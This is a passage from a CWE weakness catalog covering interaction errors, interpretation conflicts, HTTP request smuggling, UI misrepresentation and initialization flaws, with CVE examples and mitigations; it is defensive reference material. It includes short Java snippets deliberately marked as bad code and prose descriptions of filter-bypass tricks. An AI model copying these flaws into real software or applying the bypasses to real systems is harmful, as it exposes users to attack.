Affected Resources

- File/Directory

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unrestricted File Upload
OWASP Top Ten 2007	A3	CWE More Specific	Malicious File Execution

References

Richard Stanway (r1CH). "Dynamic File Uploads, Security and You". < http://shsc.info/FileUploadSecurity >.

CWE-435: Interaction Error

Weakness ID: 435 *(Weakness Class)* **Status:** Draft

Description

Summary

An interaction error occurs when two entities work correctly when running independently, but they interact in unexpected ways when they are run together.

Extended Description

This could apply to products, systems, components, etc.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	2	Environment	**699**	1
ParentOf	We	*188*	*Reliance on Data/Memory Layout*	*1000*	*216*
ParentOf	We	*436*	*Interpretation Conflict*	***699 1000***	*463*
ParentOf	We	*439*	*Behavioral Change in New Version or Environment*	***1000***	*466*
ParentOf	We	*733*	*Compiler Optimization Removal or Modification of Security-critical Code*	***1000***	*723*
MemberOf	V	*1000*	*Research Concepts*	***1000***	*737*

Relationship Notes

The "Interaction Error" term, in CWE and elsewhere, is only intended to describe products that behave according to specification. When one or more of the products do not comply with specifications, then it is more likely to be API Abuse (CWE-227) or an interpretation conflict (CWE-436). This distinction can be blurred in real world scenarios, especially when "de facto" standards do not comply with specifications, or when there are no standards but there is widespread adoption. As a result, it can be difficult to distinguish these weaknesses during mapping and classification.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Interaction Errors

CWE-436: Interpretation Conflict

Weakness ID: 436 *(Weakness Base)* **Status:** Incomplete

Description

Summary

Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state.

Extended Description

This is generally found in proxies, firewalls, anti-virus software, and other intermediary devices that allow, deny, or modify traffic based on how the client or server is expected to behave.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-0485	Anti-virus product allows bypass via Content-Type and Content-Disposition headers that are mixed case, which are still processed by some clients.
CVE-2002-0637	Virus product bypass with spaces between MIME header fields and the ":" separator, a non-standard message that is accepted by some clients.

Reference	Description
CVE-2002-1777	AV product detection bypass using inconsistency manipulation (file extension in MIME Content-Type vs. Content-Disposition field).
CVE-2002-1978	FTP clients sending a command with "PASV" in the argument can cause firewalls to misinterpret the server's error as a valid response, allowing filter bypass.
CVE-2002-1979	FTP clients sending a command with "PASV" in the argument can cause firewalls to misinterpret the server's error as a valid response, allowing filter bypass.
CVE-2005-1215	Bypass filters or poison web cache using requests with multiple Content-Length headers, a non-standard behavior.
CVE-2005-3310	CMS system allows uploads of files with GIF/JPG extensions, but if they contain HTML, Internet Explorer renders them as HTML instead of images.
CVE-2005-4080	Interpretation conflict (non-standard behavior) enables XSS because browser ignores invalid characters in the middle of tags.
CVE-2005-4260	Interpretation conflict allows XSS via invalid "<" when a ">" is expected, which is treated as ">" by many web browsers.

Other Notes

The classic multiple interpretation flaws were reported in a paper that described the limitations of intrusion detection systems. Ptacek and Newsham (see references below) showed that OSes varied widely in their behavior with respect to unusual network traffic, which made it difficult or impossible for intrusion detection systems to properly detect certain attacker manipulations that took advantage of the OS differences. Another classic multiple interpretation error is the "poison null byte" described by Rain Forest Puppy (see reference below), in which null characters have different interpretations in Perl and C, which have security consequences when Perl invokes C functions. Similar problems have been reported in ASP (see ASP reference below) and PHP. Some of the more complex web-based attacks, such as HTTP request smuggling, also involve multiple interpretation errors.

A comment on a way to manage these problems is in David Skoll in the reference below.

Manipulations are major factors in multiple interpretation errors, such as doubling, inconsistencies between related fields, and whitespace.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	435	Interaction Error	**699 1000**	462
ParentOf	Ww	*86*	*Failure to Sanitize Invalid Characters in Identifiers in Web Pages*	*1000*	*96*
CanAlsoBe	We	*115*	*Misinterpretation of Input*	*1000*	*136*
PeerOf	We	*351*	*Insufficient Type Distinction*	*1000*	*372*
RequiredBy		*434*	*Unrestricted File Upload*	*1000*	*461*
PeerOf		*434*	*Unrestricted File Upload*	*1000*	*461*
ParentOf	We	*437*	*Incomplete Model of Endpoint Features*	***699 1000***	*465*
ParentOf	We	*444*	*Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')*	***1000***	*468*
ParentOf	Ww	*626*	*Null Byte Interaction Error (Poison Null Byte)*	*699 1000*	*610*
ParentOf	Ww	*650*	*Trusting HTTP Permission Methods on the Server Side*	***1000***	*636*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Multiple Interpretation Error (MIE)

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
33	HTTP Request Smuggling	

References

Steve Christey. "On Interpretation Conflict Vulnerabilities". Bugtraq. 2005-11-03.

Thomas H. Ptacek and Timothy N. Newsham. "Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection". January 1998. < http://www.insecure.org/stf/secnet_ids/secnet_ids.pdf >.
Brett Moore. "0x00 vs ASP file upload scripts". 2004-07-13. < http://www.security-assessment.com/Whitepapers/0x00_vs_ASP_File_Uploads.pdf >.
Rain Forest Puppy. "Poison NULL byte". Phrack.
David F. Skoll. "Re: Corsaire Security Advisory - Multiple vendor MIME RFC2047 encoding". Bugtraq. 2004-09-15. < http://marc.theaimsgroup.com/?l=bugtraq&m=109525864717484&w=2 >.

CWE-437: Incomplete Model of Endpoint Features

Weakness ID: 437 *(Weakness Base)* **Status:** Incomplete

Description

Summary

A product acts as an intermediary or monitor between two or more endpoints, but it does not have a complete model of an endpoint's features, behaviors, or state, potentially causing the product to perform incorrect actions based on this incomplete model.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

Example 1:

HTTP request smuggling is an attack against an intermediary such as a proxy. This attack works because the proxy expects the client to parse HTTP headers one way, but the client parses them differently.

Example 2:

Anti-virus products that reside on mail servers can suffer from this issue if they do not know how a mail client will handle a particular attachment. The product might treat an attachment type as safe, not knowing that the client's configuration treats it as executable.

Other Notes

This can be related to interaction errors, although in some cases, one of the endpoints is not performing correctly according to specification.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	436	Interpretation Conflict	**699** **1000**	463

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Extra Unhandled Features

CWE-438: Behavioral Problems

Category ID: 438 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to unexpected behaviors from code that an application uses.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		18	Source Code	**699**	13
ParentOf	Weakness	*439*	*Behavioral Change in New Version or Environment*	***699***	*466*

Nature	Type	ID	Name	V	Page
ParentOf	B	*440*	*Expected Behavior Violation*	***699***	*466*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Behavioral problems

CWE-439: Behavioral Change in New Version or Environment

Weakness ID: 439 *(Weakness Base)* **Status:** Draft

Description

Summary

A's behavior or functionality changes with a new version of A, or a new environment, which is not known (or manageable) by B.

Alternate Terms

Functional change

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-1976	Linux kernel 2.2 and above allow promiscuous mode using a different method than previous versions, and ifconfig is not aware of the new method (alternate path property).
CVE-2003-0411	chain: Code was ported from a case-sensitive Unix platform to a case-insensitive Windows platform where filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text".
CVE-2005-1711	Product uses defunct method from another product that does not return an error code and allows detection avoidance.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	435	Interaction Error	**1000**	462
ChildOf	P	438	Behavioral Problems	**699**	465

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	CHANGE Behavioral Change

CWE-440: Expected Behavior Violation

Weakness ID: 440 *(Weakness Base)* **Status:** Draft

Description

Summary

A feature, API, or function being used by a product behaves differently than the product expects.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2003-0187	Inconsistency in support of linked lists causes program to use large timeouts on "undeserving" connections.
CVE-2003-0465	"strncpy" in Linux kernel acts different than libc on x86, leading to expected behavior difference - sort of a multiple interpretation error?
CVE-2005-3265	Buffer overflow in product stems to the use of a third party library function that is expected to have internal protection against overflows, but doesn't.

Other Notes

Property: consistency

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		438	Behavioral Problems	**699**	465
ChildOf		684	Failure to Provide Specified Functionality	**1000**	677

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Expected behavior violation

CWE-441: Unintended Proxy/Intermediary

Weakness ID: 441 *(Weakness Base)* **Status:** Draft

Description

Summary

A product can be used as an intermediary or proxy between an attacker and the ultimate target, so that the attacker can either bypass access controls or hide activities.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-1999-0017	FTP bounce attack. Protocol allows attacker to modify the PORT command to cause the FTP server to connect to other machines besides the attacker's. Similar to proxied trusted channel.
CVE-1999-0168	Portmapper could redirect service requests from an attacker to another entity, which thinks the requests came from the portmapper.
CVE-2001-1484	MFV - bounce attack allows access to TFTP from trusted side.
CVE-2002-1484	Web server allows attackers to request a URL from another server, including other ports, which allows proxied scanning.
CVE-2004-2061	CGI script accepts and retrieves incoming URLs.
CVE-2005-0315	FTP server does not ensure that the IP address in a PORT command is the same as the FTP user's session, allowing port scanning by proxy.

Potential Mitigations

Enforce the use of strong mutual authentication mechanism between the two parties.

Other Notes

Property: Alternate Channel

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		418	Channel Errors	**699**	447
ChildOf		610	Externally Controlled Reference to a Resource in Another Sphere	**1000**	597
RequiredBy		*352*	*Cross-Site Request Forgery (CSRF)*	*1000*	*373*
RequiredBy		*384*	*Session Fixation*	*1000*	*408*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Unintended proxy/intermediary
PLOVER	Proxied Trusted Channel

Maintenance Notes

This entry is currently a child of CWE-610 under view 1000, however there is also a relationship with CWE-668 because the resulting proxy effectively exposes the victims control sphere to the attacker. This should possibly be considered as an emergent resource.

CWE-442: Web Problems

Category ID: 442 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to World Wide Web technology.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		18	Source Code	**699**	13
ParentOf	We	*79*	*Failure to Preserve Web Page Structure ('Cross-site Scripting')*	*699*	*83*
ParentOf	We	*113*	*Failure to Sanitize CRLF Sequences in HTTP Headers ('HTTP Response Splitting')*	***699***	*131*
ParentOf	We	*444*	*Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')*	***699***	*468*
ParentOf	Wv	*601*	*URL Redirection to Untrusted Site ('Open Redirect')*	*699*	*589*
ParentOf	Wv	*644*	*Improper Sanitization of HTTP Headers for Scripting Syntax*	*699*	*630*
ParentOf	Wv	*646*	*Reliance on File Name or Extension of Externally-Supplied File*	*699*	*632*
ParentOf	Wv	*647*	*Use of Non-Canonical URL Paths for Authorization Decisions*	*699*	*632*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Web problems

CWE-443: DEPRECATED (Duplicate): HTTP response splitting

Weakness ID: 443 *(Deprecated Weakness Base)* **Status:** Deprecated

Description

Summary

This weakness can be found at CWE-113.

Relationships

Nature	Type	ID	Name	V	Page
MemberOf	V	*604*	*Deprecated Entries*	***604***	*593*

CWE-444: Inconsistent Interpretation of HTTP Requests (aka 'HTTP Request Smuggling')

Weakness ID: 444 *(Weakness Base)* **Status:** Incomplete

Description

Summary

When malformed or abnormal HTTP requests are interpreted by one or more entities in the data flow between the user and the web server, such as a proxy or firewall, they can be interpreted inconsistently, allowing the attacker to "smuggle" a request to one device without the other device being aware of it.

Time of Introduction

- Architecture and Design

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2005-2088	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.
CVE-2005-2089	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.
CVE-2005-2090	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.
CVE-2005-2091	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.
CVE-2005-2092	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.
CVE-2005-2093	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.
CVE-2005-2094	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.

Potential Mitigations

Use a web server that employs a strict HTTP parsing procedure, such as Apache (See paper in reference).

Use only SSL communication.

Terminate the client session after each request.

Turn all pages to non-cacheable.

Other Notes

Request smuggling can be performed due to a multiple interpretation error, where the target is an intermediary or monitor, via a consistency manipulation (Transfer-Encoding and Content-Length headers).

Resultant from CRLF injection.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	436	Interpretation Conflict	**1000**	463
ChildOf	C	442	Web Problems	**699**	468

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	HTTP Request Smuggling

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
33	HTTP Request Smuggling	

References

Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin. "HTTP Request Smuggling". < http://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf >.

CWE-445: User Interface Errors

Category ID: 445 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category occur within the user interface.

Applicable Platforms

Languages

- All

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	18	Source Code	**699**	13
ParentOf	Wk	*446*	*UI Discrepancy for Security Feature*	***699***	*470*
ParentOf	Wk	*450*	*Multiple Interpretations of UI Input*	***699***	*472*
ParentOf	Wk	*451*	*UI Misrepresentation of Critical Information*	***699***	*473*

Research Gaps

User interface errors that are relevant to security have not been studied at a high level.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	(UI) User Interface Errors

CWE-446: UI Discrepancy for Security Feature

Weakness ID: 446 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The user interface does not correctly enable or configure a security feature, but the interface provides feedback that causes the user to believe that the feature is in a secure state.

Extended Description

When the user interface does not properly reflect what the user asks of it, then it can lead the user into a false sense of security. For example, the user might check a box to enable a security option to enable encrypted communications, but the software does not actually enable the encryption. Alternately, the user might provide a "restrict ALL"' access control rule, but the software only implements "restrict SOME".

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-1999-1446	UI inconsistency; visited URLs list not cleared when "Clear History" option is selected.

Other Notes

This is often resultant.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	445	User Interface Errors	**699**	469
ChildOf	Wk	684	Failure to Provide Specified Functionality	**1000**	677
ParentOf	Wk	*447*	*Unimplemented or Unsupported Feature in UI*	***699*** *1000*	*471*
ParentOf	Wk	*448*	*Obsolete Feature in UI*	***699*** ***1000***	*471*
ParentOf	Wk	*449*	*The UI Performs the Wrong Action*	***699*** ***1000***	*472*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	User interface inconsistency

Maintenance Notes

This node is likely a loose composite that could be broken down into the different types of errors that cause the user interface to have incorrect interactions with the underlying security feature.

CWE-447: Unimplemented or Unsupported Feature in UI

Weakness ID: 447 *(Weakness Base)* **Status:** Draft

Description

Summary

A UI function for a security feature appears to be supported and gives feedback to the user that suggests that it is supported, but the underlying functionality is not implemented.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2000-0127	GUI configuration tool does not enable a security option when a checkbox is selected, although that option is honored when manually set in the configuration file.
CVE-2001-0863	Router does not implement a specific keyword when it is used in an ACL, allowing filter bypass.
CVE-2001-0865	Router does not implement a specific keyword when it is used in an ACL, allowing filter bypass.
CVE-2004-0979	Web browser does not properly modify security setting when the user sets it.

Potential Mitigations

Perform functionnality testing before deploying the application.

Other Notes

This issue needs more study, as there are not many examples. It is not clear whether it is primary or resultant.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	446	UI Discrepancy for Security Feature	**699** 1000	470
ChildOf	Wc	671	Lack of Administrator Control over Security	**1000**	660

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Unimplemented or unsupported feature in UI

CWE-448: Obsolete Feature in UI

Weakness ID: 448 *(Weakness Base)* **Status:** Draft

Description

Summary

A UI function is obsolete and the product does not warn the user.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

Remove obsolete feature from UI. Warn the user that the feature is no longer supported.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	446	UI Discrepancy for Security Feature	**699** **1000**	470

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Obsolete feature in UI

CWE-449: The UI Performs the Wrong Action

Weakness ID: 449 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The UI performs the wrong action with respect to the user's request.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2001-0081	Command line option correctly suppresses a user prompt but does not properly disable a feature, although when the product prompts the user, the feature is properly disabled.
CVE-2001-1387	Network firewall accidentally implements one command line option as if it were another, possibly leading to behavioral infoleak.
CVE-2002-1977	Product does not "time out" according to user specification, leaving sensitive data available after it has expired.

Potential Mitigations

Perform extensive functionality testing of the UI. The UI should behave as specified.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WB	446	UI Discrepancy for Security Feature	**699** **1000**	470

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	The UI performs the wrong action

CWE-450: Multiple Interpretations of UI Input

Weakness ID: 450 *(Weakness Base)* **Status:** Draft

Description

Summary

The UI has multiple interpretations of user input but does not prompt the user when it selects the less secure interpretation.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy. Input (specifically, unexpected CRLFs) that is not appropriate should not be processed into HTTP headers.

Use and specify a strong input/output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WB	357	Insufficient UI Warning of Dangerous Operations	**1000**	379
ChildOf	C	445	User Interface Errors	**699**	469

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Multiple Interpretations of UI Input

CWE-451: UI Misrepresentation of Critical Information

Weakness ID: 451 *(Weakness Base)* **Status:** Draft

Description

Summary

The UI does not properly represent critical information to the user, allowing the information - or its source - to be obscured or spoofed. This is often a component in phishing attacks.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2001-0398	Attachment with many spaces in filename bypasses "dangerous content" warning and uses different icon. Likely resultant.
CVE-2001-0643	Misrepresentation and equivalence issue.
CVE-2001-1410	Visual distinction -- Browser allows attackers to create chromeless windows and spoof victim's display using unprotected Javascript method.
CVE-2002-0197	Visual distinction -- Chat client allows remote attackers to spoof encrypted, trusted messages with lines that begin with a special sequence, which makes the message appear legitimate.
CVE-2002-0722	Miscellaneous -- Web browser allows remote attackers to misrepresent the source of a file in the File Download dialogue box.
CVE-2003-1025	Visual truncation -- Special character in URL causes web browser to truncate the user portion of the "user@domain" URL, hiding real domain in the address bar.
CVE-2004-0537	Overlay -- Wide "favorites" icon can overlay and obscure address bar
CVE-2004-0761	Wrong status / state notifier -- Certain redirect sequences cause security lock icon to appear in web browser, even when page is not encrypted.
CVE-2004-145	Visual truncation -- Null character in URL prevents entire URL from being displayed in web browser.
CVE-2004-2219	Wrong status / state notifier -- Spoofing via multi-step attack that causes incorrect information to be displayed in browser address bar.
CVE-2004-2258	Miscellaneous -- [step-based attack, GUI] -- Password-protected tab can be bypassed by switching to another tab, then back to original tab.
CVE-2004-2530	Visual truncation -- Visual truncation in chat client using whitespace to hide dangerous file extension.
CVE-2005-0143	Wrong status / state notifier -- Lock icon displayed when an insecure page loads a binary file loaded from a trusted site.
CVE-2005-0144	Wrong status / state notifier -- Secure "lock" icon is presented for one channel, while an insecure page is being simultaneously loaded in another channel.
CVE-2005-0243	Visual truncation -- Chat client does not display long filenames in file dialog boxes, allowing dangerous extensions via manipulations including (1) many spaces and (2) multiple file extensions.

Reference	Description
CVE-2005-0590	Visual truncation -- Dialog box in web browser allows user to spoof the hostname via a long "user:pass" sequence in the URL, which appears before the real hostname.
CVE-2005-0593	Lock spoofing from several different Weaknesses.
CVE-2005-0831	Visual distinction -- Product allows spoofing names of other users by registering with a username containing hex-encoded characters.
CVE-2005-1575	Visual truncation -- Web browser file download type hiding using whitespace.
CVE-2005-1678	Miscellaneous -- Dangerous file extensions not displayed.
CVE-2005-2271	Visual distinction -- Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort?
CVE-2005-2272	Visual distinction -- Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort?
CVE-2005-2273	Visual distinction -- Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort?
CVE-2005-2274	Visual distinction -- Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort?
OSVDB:5703	Overlay -- GUI overlay vulnerability (misrepresentation)
OSVDB:6009	Visual truncation -- GUI obfuscation (visual truncation) in web browser - obscure URLs using a large amount of whitespace. Note - "visual truncation" covers a couple variants.

Potential Mitigations

Perform data validation (e.g. syntax, length, etc.) before interpreting the data.

Create a strategy for presenting information, and plan for how to display unusual characters.

Other Notes

Overlaps Wheeler's "Semantic Attacks"

Here are some examples of misrepresentation: [*] icon manipulation (making a .EXE look like a .GIF) [*] homographs: letters from different character sets/languages that look similar. The use of homographs is effectively a manipulation of a visual equivalence property. [*] a race condition can cause the UI to present the user with "safe" or "trusted" feedback before the product has fully switched context. The race window could be extended indefinitely if the attacker can trigger an error. [*] "Window injection" vulnerabilities (though these are usually resultant from privilege problems) [*] status line modification (e.g. CVE-2004-1104) [*] various other web browser issues. [*] GUI truncation (e.g. filename with dangerous extension not displayed to GUI because of truncation) - CVE-2004-2227 - GUI truncation enables information hiding [*] injected internal spaces (e.g. "filename.txt .exe" - though this overlaps truncation [*] Also consider DNS spoofing problems - can be used for misrepresentation.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	221	Information Loss or Omission	**1000**	250
PeerOf	Weakness	346	Origin Validation Error	1000	368
ChildOf	Category	445	User Interface Errors	**699**	469

Research Gaps

Misrepresentation problems are frequently studied in web browsers, but there are no known efforts for categorizing these problems in terms of the shortcomings of the interface. In addition, many misrepresentation issues are resultant.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	UI Misrepresentation of Critical Information

Maintenance Notes

This category needs refinement.

CWE-452: Initialization and Cleanup Errors

Category ID: 452 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category occur in behaviors that are used for initialization and breakdown.

Applicable Platforms

Languages

- All

Other Notes

Most of these initialization errors are significant factors in other weaknesses. Researchers tend to ignore these, concentrating instead on the resultant weaknesses, so their frequency is uncertain, at least based on published vulnerabilities.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	18	Source Code	**699**	13
ParentOf	We	*453*	*Insecure Default Variable Initialization*	***699***	*475*
ParentOf	We	*454*	*External Initialization of Trusted Variables*	***699***	*476*
ParentOf	We	*455*	*Non-exit on Failed Initialization*	***699***	*477*
ParentOf	We	*456*	*Missing Initialization*	***699***	*477*
ParentOf	We	*459*	*Incomplete Cleanup*	***699***	*481*
ParentOf	We	*460*	*Improper Cleanup on Thrown Exception*	***699***	*482*
ParentOf	We	*665*	*Improper Initialization*	***699***	*653*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Initialization and Cleanup Errors

CWE-453: Insecure Default Variable Initialization

Weakness ID: 453 *(Weakness Base)* **Status:** Draft

Description

Summary

The software, by default, initializes an internal variable with an insecure or less secure value than is possible.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- PHP *(Sometimes)*
- All

Potential Mitigations

Disable or change default settings when they can be used to abuse the system. Since those default settings are shipped with the product they are likely to be known by a potential attacker who is familiar with the product. For instance, default credentials should be changed or the associated accounts should be disabled.

Other Notes

This overlaps other categories, probably should be split into separate items.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	452	Initialization and Cleanup Errors	**699**	474
ChildOf	We	665	Improper Initialization	**1000**	653

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Insecure default variable initialization

CWE-454: External Initialization of Trusted Variables

Weakness ID: 454 *(Weakness Base)* **Status:** Draft

Description

Summary

The software initializes critical internal variables using inputs that can come from externally controlled sources.

Extended Description

A software system should be reluctant to trust variables that have been initialized outside of its trust boundary, especially if they are initialized by users. They may have been initialized incorrectly. If an attacker can initialize the variable, then he/she can influence what the vulnerable system will do.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- PHP *(Sometimes)*
- All

Demonstrative Examples

In the Java example below, a system property controls the debug level of the application. If an attacker is able to modify the system property, he may be able to coax the application into divulging sensitive information by virtue of the fact that additional debug information is printed/exposed as the debug level increases.

Java Example: *Bad Code*

```
int debugLevel = Integer.getInteger("com.domain.application.debugLevel").intValue();
```

Observed Examples

Reference	Description
CVE-2000-0959	Does not clear dangerous environment variables, enabling symlink attack.
CVE-2001-0033	Specify alternate configuration directory in environment variable, enabling untrusted path.
CVE-2001-0084	Specify arbitrary modules using environment variable.
CVE-2001-0872	Dangerous environment variable not cleansed.

Potential Mitigations

A software system should be reluctant to trust variables that have been initialized outside of its trust boundary. Ensure adequate checking (e.g. input validation) is performed when relying on input from outside a trust boundary.

Architecture and Design

Avoid any external control of variables. If necessary, restrict the variables that can be modified using a whitelist, and use a different namespace or naming convention if possible.

Other Notes

Overlaps Missing variable initialization, especially in PHP.

This is a significant factor in a number of resultant weaknesses.

This is often found in PHP due to register_globals and the common practice of storing library/include files under the web document root so that they are available using a direct request.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	452	Initialization and Cleanup Errors	**699**	474
CanAlsoBe	We	456	Missing Initialization	1000	477
ChildOf	We	665	Improper Initialization	**1000**	653

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	External initialization of trusted variables or values

CWE-455: Non-exit on Failed Initialization

Weakness ID: 455 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not exit or otherwise modify its operation when security-relevant errors occur during initialization, such as when a configuration file has a format error, which can cause the software to execute in a less secure fashion than intended by the administrator.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2005-1345	Product does not trigger a fatal error if missing or invalid ACLs are in a configuration file.

Potential Mitigations

Follow the principle of failing securely when an error occurs. The system should enter a state where it is not vulnerable and will not display sensitive error messages to a potential attacker.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	452	Initialization and Cleanup Errors	**699**	474
ChildOf	Wc	636	Not Failing Securely ('Failing Open')	1000	617
ChildOf	We	665	Improper Initialization	1000	653
ChildOf	Wc	705	Incorrect Control Flow Scoping	**1000**	708

Research Gaps

Under-studied. These issues are not frequently reported, and it is difficult to find published examples.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Non-exit on Failed Initialization

CWE-456: Missing Initialization

Weakness ID: 456 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not initialize critical variables, which causes the execution environment to use unexpected values.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

Here, an uninitialized field in a Java class is used in a seldom-called method, which would cause a NullPointerException to be thrown.

Java Example: *Bad Code*

```
private User user;
public void someMethod() {
  // Do something interesting.
  ...
  // Throws NPE if user hasn't been properly initialized.
  String username = user.getName();
}
```

Observed Examples

Reference	Description
CVE-2005-2109	Internal variable in PHP application is not initialized, allowing external modification.
CVE-2005-2193	Array variable not initialized in PHP application, leading to resultant SQL injection.
CVE-2005-2978	Product uses uninitialized variables for size and index, leading to resultant buffer overflow.

Potential Mitigations

Check that critical variables are initialized.

Use a static analysis tool to spot non-initialized variables.

Other Notes

This weakness is a major factor in a number of resultant weaknesses, especially in web applications that allow global variable initialization (such as PHP) with libraries that can be directly requested.

Relationships

Nature	Type	ID	Name	V	Page
CanPrecede	WE	89	Failure to Preserve SQL Query Structure ('SQL Injection')	1000	99
CanPrecede		120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	1000	148
ChildOf		452	Initialization and Cleanup Errors	**699**	474
ChildOf	WE	665	Improper Initialization	**1000**	653
RequiredBy		*98*	*Improper Control of Filename for Include/Require Statement in PHP Program ('PHP File Inclusion')*	*1000*	*116*
CanAlsoBe	WE	*454*	*External Initialization of Trusted Variables*	*1000*	*476*
ParentOf	WV	*457*	*Use of Uninitialized Variable*	***699*** ***1000***	*478*

Research Gaps

It is highly likely that a large number of resultant weaknesses have missing initialization as a primary factor, but researcher reports generally do not provide this level of detail.

Taxonomy Mappings
